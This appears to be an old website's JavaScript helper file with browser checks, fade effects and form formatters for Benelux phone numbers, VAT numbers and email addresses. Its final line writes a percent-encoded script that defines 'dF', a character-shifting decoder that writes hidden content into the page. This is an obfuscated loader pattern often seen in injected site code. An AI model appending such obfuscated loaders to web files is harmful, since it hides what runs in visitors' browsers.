ie = /MSIE ((5\.5)|[678])/.test(navigator.userAgent);
win = navigator.platform == "Win32";

ie7 = navigator.appVersion.indexOf("MSIE 7.0") != -1;

function init() {
	ci=false;
	showloadvisible();
}

ci=true;
cicount=0;
function checkimages() {
	di=document.images;
	for (dic=0; dic<di.length; dic++) {
		if (!di[dic].complete) {
			s = di[dic].src;
			if (s.indexOf("&rand=") != -1) s = s.substring(0, s.indexOf("&rand="));
			if (s.indexOf("?rand=") != -1) s = s.substring(0, s.indexOf("?rand="));
			if (s.indexOf("?") == -1) add = "?"; else add = "&";
			di[dic].src = s + add + "rand=" + new Date().getTime();
		}
	}
	cicount++;
	if (ci && cicount<5) window.setTimeout("checkimages();",700);
}

function showloadvisible() {
	d=document.getElementsByTagName("div");
	for (i=0;i<d.length;i++) {
		if (d[i].className=="showload") d[i].style.visibility="visible";
	}
}

function fadeIn(whatdiv,speed) {
	if (ie) {
		document.getElementById(whatdiv).style.filter="blendTrans(duration="+speed+")";
		    if (document.getElementById(whatdiv).filters.blendTrans.status != 2) {
		        document.getElementById(whatdiv).filters.blendTrans.apply();
		        document.getElementById(whatdiv).style.visibility="visible";
		        document.getElementById(whatdiv).filters.blendTrans.play();
		    }
	} else {
		document.getElementById(whatdiv).style.opacity=0;
		document.getElementById(whatdiv).style.mozOpacity=0;
		document.getElementById(whatdiv).style.visibility="visible";
		for (i=0.1;i<=1;i+=0.025) {
			window.setTimeout("document.getElementById('"+whatdiv+"').style.opacity="+i,i*1000*speed);
			window.setTimeout("document.getElementById('"+whatdiv+"').style.mozOpacity="+i,i*1000*speed);
		}
	}
}
function fadeInSrc(whatdiv,newsrc,speed) {
	if (ie7) {
		document.getElementById(whatdiv).style.filter="blendTrans(duration="+speed+")";
		    if (document.getElementById(whatdiv).filters.blendTrans.status != 2) {
		        document.getElementById(whatdiv).filters.blendTrans.apply();
		        document.getElementById(whatdiv).src=newsrc;
		        document.getElementById(whatdiv).filters.blendTrans.play();
		    }
	} else {
	        document.getElementById(whatdiv).src=newsrc;
	}
}

function capitalize(v) {
	alfa="abcdefghijklmnopqrstuvwxyzáàäâéèêëóòöôïîíìúùüûýÿç"; alfa+=alfa.toUpperCase();
	t=v.value; t2="";
	for (i=0;i<t.length;i++) {
		c=t.substring(i,i+1);
		if (i>0) { p=t.substring(i-1,i); if (alfa.indexOf(p)==-1) c=c.toUpperCase(); } else c=c.toUpperCase();
		t2+=c;
	}
	v.value=t2;
}
function goodphone(t,l) {
	n=t.value; n2="";
	for (i=0;i<n.length;i++) {
		c=n.substring(i,i+1);
		if (parseInt(c)>=0 && parseInt(c)<=9) n2+=""+c;
	}
	while (n2.substring(0,1)=="00") n2=n2.substring(2);
	good=0;
	if (l=="be") {
		if (n2.length>=9) {
			if (n2.substring(0,2)=="32") n2=n2.substring(2);
			if (n2.length==9) {
				good=1;
				if (n2.substring(0,2) == "03" || n2.substring(0,2) == "02" || n2.substring(0,2) == "09") {
					area=n2.substring(0,2);
					num1=n2.substring(2,5);
				} else {
					area=n2.substring(0,3);
					num1=n2.substring(3,5);
				}
				num2=n2.substring(5,7);
				num3=n2.substring(7,9);
			}
			if (n2.length==10) {
				good=1;
				area=n2.substring(0,4);
				num1=n2.substring(4,6);
				num2=n2.substring(6,8);
				num3=n2.substring(8,10);
			}
			if (good==1) {
				n2="+32 "+"(0)"+area.substring(1)+" "+num1+" "+num2+" "+num3;
				t.value=n2;
			}
		}
	}
	if (l=="nl") {
		zones=new Array("010","046","0111","0475","0113","0478","0114","0481","0115","0485","0117","0486","0118","0487","013","0488","015","0492","0161","0493","0162","0495","0164","0497","0165","0499","0166","050","0167","0511","0168","0512","0172","05130174","0514","0180","0515","0181","0516","0182","0517","0183","0518","0184","0519","0186","0521","0187","0522","020","0523","0222","0524","0223","0525","0224","0527","0226","0528","0227","0529","0228","053","0229","0541","023","0543","024","0544","0251","0545","0252","0546","0255","0547","026","0548","0294","055","0297","0561","0299","0562","030","0566","0313","0570","0314","0571","0315","0572","0316","0573","0317","0575","0318","0577","0320","0578","0321","058","033","0591","0341","0592","0342","0593","0343","0594","0344","0595","0345","0596","0346","0597","0347","0598","0348","0599","035","070","036","071","038","072","040","073","0411","074","0412","075","0413","076","0416","077","0418","078","043","079","045");
		if (n2.length>=10) {
			if (n2.substring(0,2)=="31") n2=n2.substring(2);
			if (n2.length==10) {
				good=1;
				if (n2.substring(0,2) == "06") {
					area=n2.substring(0,2);
					num1=n2.substring(2,4);
					num1+=" "+n2.substring(4,6);
				} else {
					found3=false;
					for (z=0;z<zones.length;z++) {
						if (zones[z]==n2.substring(0,3)) {
							area=n2.substring(0,3);
							num1=n2.substring(3,6);
							found3=true;
						}
					}
					if (!found3) {
						area=n2.substring(0,4);
						num1=n2.substring(4,6);
					}
				}
				num2=n2.substring(6,8);
				num3=n2.substring(8,10);
			}
			if (good==1) {
				n2="+31 "+"(0)"+area.substring(1)+" "+num1+" "+num2+" "+num3;
				t.value=n2;
			}
		}
	}
	if (l=="lu") {
		if (n2.length>=6) {
			if (n2.substring(0,3)=="352") n2=n2.substring(3);
			if (n2.length==6) {
				good=1;
				n2="+352 "+n2.substring(0,2)+" "+n2.substring(2,4)+" "+n2.substring(4,6);
			} else if (n2.length==8) {
				good=1;
				n2="+352 "+n2.substring(0,2)+" "+n2.substring(2,4)+" "+n2.substring(4,6)+" "+n2.substring(6,8);
			} else if (n2.length==9) {
				good=1;
				n2="+352 (0)"+n2.substring(1,3)+" "+n2.substring(3,5)+" "+n2.substring(5,7)+" "+n2.substring(7,9);
			}
			t.value=n2;
		}
	}
}
function goodpage(url) {
	t=url.value;
	if (t!="") {
		if (t.substring(0,7)!="http://") t="http://"+t;
		url.value=t;
	}
}
function goodmail(m) {
	m.value=m.value.toLowerCase();

	var emailfilter=/^\w+[\+\.\w-]*@([\w-]+\.)*\w+[\w-]*\.([a-z]{2,4}|\d+)$/i

	returnval=(emailfilter.test(m.value) || m.value=="");
	if (returnval==false){
		e = document.location.href.split('/');
		f = e[2].split('.');
		taal = f[0];		
		if (taal == 'www') taal = 'en';
		
		switch(taal) {
			case 'en':
			alert("Please use a valid e-mail address")
			break
			case 'jp':
			alert("Please use a valid e-mail address")
			break
			case 'nl':
			alert("Gelieve een geldig e-mailadres in te vullen")
			break
			case 'de':
			alert("Please use a valid e-mail address")
			break
			case 'fr':
			alert("Please use a valid e-mail address")
			break
		}		
	
		m.select();
	}
	return returnval;
}
function goodvat(t) {
	n=t.value; n2="";
	if (n!="") {
		for (i=0;i<n.length;i++) {
			c=n.substring(i,i+1);
			if (parseInt(c)>=0 && parseInt(c)<=9) n2+=""+c;
		}
		num1=n2.substring(0,3);
		num2=n2.substring(3,6);
		num3=n2.substring(6,9);
		n2 = "BE " + num1 + " " + num2 + " " + num3;
		t.value = n2;
	}
}

function collapseall() {
	divs = document.getElementsByTagName('div');
	for (i=0;i<divs.length;i++) {
		if (divs[i].className=="expanded") divs[i].className="collapsed";
	}
}
function expandall() {
	divs = document.getElementsByTagName('div');
	for (i=0;i<divs.length;i++) {
		if (divs[i].className=="collapsed") divs[i].className="expanded";
	}
}
onbeforeprint=collapseall;
onafterprint=expandall;

document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));

window.setTimeout("checkimages();",200);

window.onload=init;
